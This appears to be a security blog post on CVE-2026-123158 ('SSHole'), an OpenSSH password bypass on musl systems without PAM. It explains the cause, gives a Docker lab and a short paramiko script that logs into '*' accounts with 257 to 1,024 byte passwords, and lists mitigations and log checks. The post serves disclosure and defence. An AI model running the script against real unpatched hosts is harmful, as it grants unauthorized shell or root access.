maborak.com~/blog/cve-2026-123158-openssh-ssholesoftware & infrastructure engineering
Back to all articles

SSHole (CVE-2026-123158): a 257-character password opens locked accounts on Alpine's OpenSSH

Overview

On musl-based systems without PAM, sshd accepts any 257 to 1,024 byte password for an account whose hash is '*', root on stock Alpine included. Reproduced from source, with the second-attempt detail, detection commands and tested mitigations.

CVE-2026-123158, named SSHole by its finder, lets anyone reach a shell on an account that has no password at all. On Linux systems that use musl libc and run sshd without PAM, which is how Alpine ships OpenSSH, an account whose password field is * accepts any password between 257 and 1,024 bytes. On stock Alpine images that account is root. It is fixed in OpenSSH 10.6p2 and in every supported Alpine branch, and it was reported exploited (opens in a new tab) less than nine hours after the CVE was published.

If you run sshd on Alpine or another musl distribution: apk upgrade openssh and restart sshd, or set PasswordAuthentication no until you can. Then run the checks below for accounts that were logged into by password.

Checked 6 November 2026. The bypass, its limits and every mitigation below were [reproduced] in Docker containers on our workstation, with OpenSSH built from the release tarballs. Statements from OpenSSH, Alpine, the finder and news reports are labelled [vendor] or [reported].

Background

OpenSSH released 10.6p2 (opens in a new tab) on 5 November 2026 to “avoid password authentication bypass that is exploitable through sshd(8) that affects some Linux systems when built and run with PAM support disabled”, adding: “We consider the root cause of this bug to be outside sshd, but it is exploitable via sshd and can be avoided there.” The fix, commit 4353fdc4 (opens in a new tab) by Damien Miller, is dated 4 November. The bug was reported by Özgün Kültekin of Wakefield, whose write-up (opens in a new tab) names it and traces its history. [vendor]

The CVE record (opens in a new tab), published at 15:46 UTC the same day, covers “OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM”: “For some configurations of accounts, any password between 256 and 1024 characters succeeds.” It scores 8.1 under CVSS 3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). [vendor]

Alpine had already shipped fixes that morning: openssh 10.0_p1-r11 on 3.22 was committed at 09:00 UTC on 5 November. Each supported branch lists the CVE as fixed in its APKBUILD secfixes. [vendor]

Alpine branch Fixed package
edge openssh 10.6_p2-r0
3.23 openssh 10.2_p1-r1
3.22 openssh 10.0_p1-r11
3.21 openssh 9.9_p2-r1

Who is not affected, per the finder: glibc distributions (Debian, Ubuntu, Fedora), any sshd that authenticates passwords through PAM, Dropbear, and OpenBSD. [vendor] We confirmed the glibc case below.

Mechanics

Three pieces of old, individually reasonable code line up.

sshd borrows a salt for short hashes. In OpenSSH 10.6p1, sys_auth_passwd() in auth-passwd.c (opens in a new tab) uses the account’s stored hash as the salt only if it is at least two characters long. Otherwise it passes no salt, and xcrypt() in xcrypt.c (opens in a new tab) calls pick_salt(), which borrows the salt of the first account in the shadow file with a $…$ hash. That borrowing came from the 2016 fix for CVE-2016-6210, so that a login for a locked or unknown account takes as long to fail as a real one. The login is accepted if the result equals the stored field:

if (authctxt->valid && pw_password[0] && pw_password[1])
	salt = pw_password;
encrypted_password = xcrypt(password, salt);   /* salt NULL -> pick_salt() */
...
return encrypted_password != NULL &&
    strcmp(encrypted_password, pw_password) == 0;

musl’s crypt() returns * on failure. musl’s SHA-256 and SHA-512 crypt reject keys longer than 256 bytes (crypt_sha512.c (opens in a new tab): #define KEY_MAX 256), and on failure crypt() does not return NULL; it returns the string "*", a value meant never to match a real hash:

p = sha512crypt(key, setting, output);
...
if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
	return "*";

* is a common value for “no password”. Stock Alpine images store root’s password as *, as do many key-only and service accounts.

Put together: for an account whose field is *, sshd borrows a $6$ salt, musl’s crypt() fails on any password over 256 bytes and returns "*", and strcmp("*", "*") is zero. sshd’s own limit of 1,024 bytes (MAX_PASSWORD_LEN) caps the range. The fix accepts a login only if the stored hash is at least four characters long (MIN_PASSWORD_HASH_LEN).

The first attempt in a connection fails. We found this in the lab, and none of the descriptions above mentions it. pick_salt() reads every account with getspnam(), which in musl reuses one static buffer, and then wipes the hash it borrowed with explicit_bzero(). The pointer sys_auth_passwd() holds to the target’s * points into that same buffer, so on the first call the * is overwritten and the comparison fails. pick_salt() keeps its result in a static variable, so a second password attempt in the same connection skips the walk, the * survives, and the login is accepted. The OpenSSH ssh client asks for a password up to three times by default (NumberOfPasswordPrompts 3), so this stops nobody. It does leave a mark in the log: Failed password and then Accepted password for the same account from the same source port. pick_salt() has the same explicit_bzero() in 9.9p2, 10.0p1, 10.2p1 and 10.6p1. [reproduced]; [inferred] from the source

Impact

Measured in the lab below, against OpenSSH built from source without PAM, two password attempts per connection [reproduced]:

Server 256 bytes 257 bytes 300 bytes 1,024 bytes 1,025 bytes
musl, OpenSSH 10.6p1 rejected accepted accepted accepted rejected
musl, OpenSSH 10.6p2 rejected rejected rejected rejected rejected
glibc, OpenSSH 10.6p1 rejected rejected rejected rejected rejected

All rows are for the account svc, whose password field is *. In every accepted case the first attempt failed and the second succeeded. A normal user with a real password logged in with it and was refused with a wrong one on all three servers.

The conditions, all of which must hold:

  • musl libc and no PAM. Alpine’s openssh-server has no PAM dependency, and its sshd is not linked to libpam. We checked 10.2_p1-r1 on Alpine 3.23.
  • Password authentication on. It is on by default.
  • An account whose password field is exactly *. On stock Alpine 3.22, 3.23 and edge images, that is root and nobody else; the other 16 system accounts use !, which is not affected. Key-only accounts created with a * field are exposed too.
  • At least one other account with a SHA-256 or SHA-512 hash to lend its salt. With none, pick_salt() falls back to a DES salt, whose code path never fails, and the bypass did not work in our test.
  • For root, PermitRootLogin yes. The default, prohibit-password, blocked root in our lab. With PermitRootLogin yes, root was accepted with a 300-byte password.

The finder adds that on Alpine’s official AWS and Azure images the default alpine user has passwordless doas, which turns any login as that user into root. [vendor] Previdian reported “successful root access on a Previdian honeypot running real Alpine Linux and OpenSSH”, with the attacker running id, uname and hostname. [reported]

Probe

Run it from a folder under your home directory, which Docker can mount into containers. The lab used Docker 29.5.2 on macOS (arm64) with alpine:3.23 (musl) and debian:stable-slim (glibc 2.41), on a private Docker network. OpenSSH was built from the release tarballs, whose SHA-256 values match the published ones:

mkdir sshhole && cd sshhole
for v in 10.6p1 10.6p2; do
  curl -fLO https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-$v.tar.gz
  echo "$v $(openssl dgst -sha256 -binary openssh-$v.tar.gz | base64)"
done
# 10.6p1 qdyVZd/+hkD2TYY80poyvEo9vewFZqf8RMXW7nZ9Xzk=   (release notes, 10.6p1)
# 10.6p2 muRIcgkM8vBrPPn/FH5/FvMJZxNAdj7S+ZJIOYrinVs=   (release notes, 10.6p2)

One image per server, from this file saved as Dockerfile. alice has a real SHA-512 password and lends her salt; svc and root have *:

ARG BASE=alpine:3.23
FROM ${BASE}
ARG VERSION=10.6p1
COPY openssh-${VERSION}.tar.gz /src/
RUN if command -v apk >/dev/null; then \
      apk add --no-cache build-base openssl-dev zlib-dev linux-headers shadow; \
    else \
      apt-get update -qq && apt-get install -y -qq build-essential libssl-dev zlib1g-dev passwd >/dev/null; \
    fi \
 && cd /src && tar xzf openssh-${VERSION}.tar.gz && cd openssh-${VERSION} \
 && ./configure -q --prefix=/usr --sysconfdir=/etc/ssh --without-pam --with-privsep-path=/var/empty \
 && make -s -j4 && make -s install-nokeys \
 && mkdir -p /var/empty && (id sshd >/dev/null 2>&1 || useradd -r -d /var/empty -s /sbin/nologin sshd) \
 && ssh-keygen -A \
 && useradd -m -s /bin/sh alice && echo 'alice:correct horse battery' | chpasswd -c SHA512 \
 && useradd -m -s /bin/sh svc && usermod -p '*' svc \
 && usermod -p '*' root \
 && printf 'PasswordAuthentication yes\nKbdInteractiveAuthentication no\nLogLevel VERBOSE\n' >> /etc/ssh/sshd_config
CMD ["/usr/sbin/sshd", "-D", "-e"]
docker network create sshhole-lab
docker build -t sshhole-musl-10.6p1  --build-arg BASE=alpine:3.23 --build-arg VERSION=10.6p1 .
docker build -t sshhole-musl-10.6p2  --build-arg BASE=alpine:3.23 --build-arg VERSION=10.6p2 .
docker build -t sshhole-glibc-10.6p1 --build-arg BASE=debian:stable-slim --build-arg VERSION=10.6p1 .
for s in musl-10.6p1 musl-10.6p2 glibc-10.6p1; do
  docker run -d --name $s --network sshhole-lab sshhole-$s
done

The client is a short paramiko (opens in a new tab) script, so the password length is exact. The OpenSSH client caps a password from SSH_ASKPASS at 1,023 bytes, and sshpass types through a terminal, which can truncate a long line. The script makes two attempts in one connection:

# exact.py HOST USER LENGTH: two password attempts in one SSH connection.
import sys, paramiko
host, user, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
t = paramiko.Transport((host, 22)); t.start_client(timeout=10)
result = "rejected"
for attempt in (1, 2):
    try:
        t.auth_password(user, "A" * n)
        if t.is_authenticated():
            result = f"ACCEPTED on attempt {attempt}"; break
    except paramiko.AuthenticationException:
        pass
print(f"{host:14} {user:5} {n:5} bytes  {result}")
t.close()
docker build -t sshhole-client - <<'EOF'
FROM python:3.13-alpine
RUN pip install -q paramiko==3.5.1
EOF
for s in musl-10.6p1 musl-10.6p2 glibc-10.6p1; do
  for n in 256 257 300 1024 1025; do
    docker restart $s >/dev/null; sleep 2     # clears sshd's PerSourcePenalties between attempts
    docker run --rm --network sshhole-lab -v "$PWD/exact.py:/exact.py:ro" sshhole-client python /exact.py $s svc $n
  done
done

On the vulnerable server:

musl-10.6p1    svc     256 bytes  rejected
musl-10.6p1    svc     257 bytes  ACCEPTED on attempt 2
musl-10.6p1    svc     300 bytes  ACCEPTED on attempt 2
musl-10.6p1    svc    1024 bytes  ACCEPTED on attempt 2
musl-10.6p1    svc    1025 bytes  rejected

The other two servers rejected every length. The restart between attempts matters only for this matrix. sshd 9.8 and later penalise a source address after failed logins (PerSourcePenalties), and the bypass takes two attempts in one connection, so a single connection from a new address is enough.

What this proves: OpenSSH 10.6p1 without PAM on musl accepts 257 to 1,024 byte passwords for a * account; 10.6p2 and the same version on glibc do not. It does not show behaviour on other musl distributions, on OpenWrt or Buildroot images, or on OpenSSH builds other than these three.

Mitigation

Patch. On Alpine, apk upgrade openssh installs the fixed package for your branch (table above), then restart sshd (rc-service sshd restart). Elsewhere, OpenSSH 10.6p2 or a distribution build that includes commit 4353fdc4. In our lab, Alpine 3.23’s openssh-server-10.2_p1-r1 refused root with a 300-byte password even with PermitRootLogin yes.

If you cannot patch now, any of these stopped the bypass in our lab:

  • Turn off password logins: PasswordAuthentication no in /etc/ssh/sshd_config (or a file under /etc/ssh/sshd_config.d/ if your config includes it), then restart sshd. Every password login stops, so check that key logins work first.
  • Change * fields to !, which locks the account the same way but does not match musl’s failure string: usermod -p '!' <user>. On stock Alpine that is root. Key-based logins to those accounts keep working.
  • Keep PermitRootLogin prohibit-password or no, which protects root but not other * accounts.

The last condition, no SHA-crypt hash anywhere on the system, also blocked the bypass, but it is a property of the machine, not a setting to rely on.

If an affected host ran with password logins on, check the logs below. An accepted password login to a * account is a compromise: the account has no password, so nobody could have typed the right one.

Verification

Run these on the host. Each was checked against the vulnerable container.

Is the host in scope?

ldd --version 2>&1 | head -1                     # "musl libc" = in scope; "GLIBC" = not
for f in /usr/sbin/sshd /usr/lib/ssh/sshd-session /usr/libexec/sshd-session /usr/libexec/sshd-auth; do
  [ -e "$f" ] && { ldd "$f" | grep -q libpam && echo "$f: PAM" || echo "$f: no PAM"; }
done
sshd -T | grep -i -E '^(passwordauthentication|permitrootlogin) '   # keys print as CamelCase on 10.x
apk list -I openssh-server 2>/dev/null           # compare with the fixed packages above

Which accounts are exposed?

awk -F: '$2=="*" {print $1}' /etc/shadow            # exposed if all the conditions above hold
awk -F: '$2 ~ /^\$[56]\$/ {print $1}' /etc/shadow   # accounts that can lend a SHA-crypt salt

In the vulnerable container these printed root and svc, then alice.

Was anyone let in? Password logins accepted for a * account, from wherever your sshd logs go (/var/log/messages on Alpine with syslog, or the container log):

grep -E 'Accepted password for' /var/log/messages | grep -E -w "$(awk -F: '$2=="*" {printf "%s|", $1}' /etc/shadow | sed 's/|$//')"

A Failed password for the same account from the same source port just before the Accepted password is the pattern the bypass leaves. After patching, confirm the version is the fixed one (sshd -V or apk list -I openssh-server). From another machine, a 300-byte password attempt against a * account should be refused on every try. Do this only against your own hosts.

Sources

Back to all articles

Technologies we work with

  • Argo CD
  • Kubernetes
  • Docker
  • Podman
  • Ansible
  • Jenkins
  • Chef
  • Proxmox VE
  • Google Cloud
  • Linux
  • Red Hat
  • CentOS
  • NGINX
  • Apache
  • Traefik
  • Prometheus
  • Grafana
  • PostgreSQL
  • MySQL
  • MariaDB
  • Redis
  • etcd
  • Qdrant
  • Elasticsearch
  • Logstash
  • Kibana
  • PagerDuty
  • Go
  • Python
  • FastAPI
  • PHP
  • TypeScript
  • React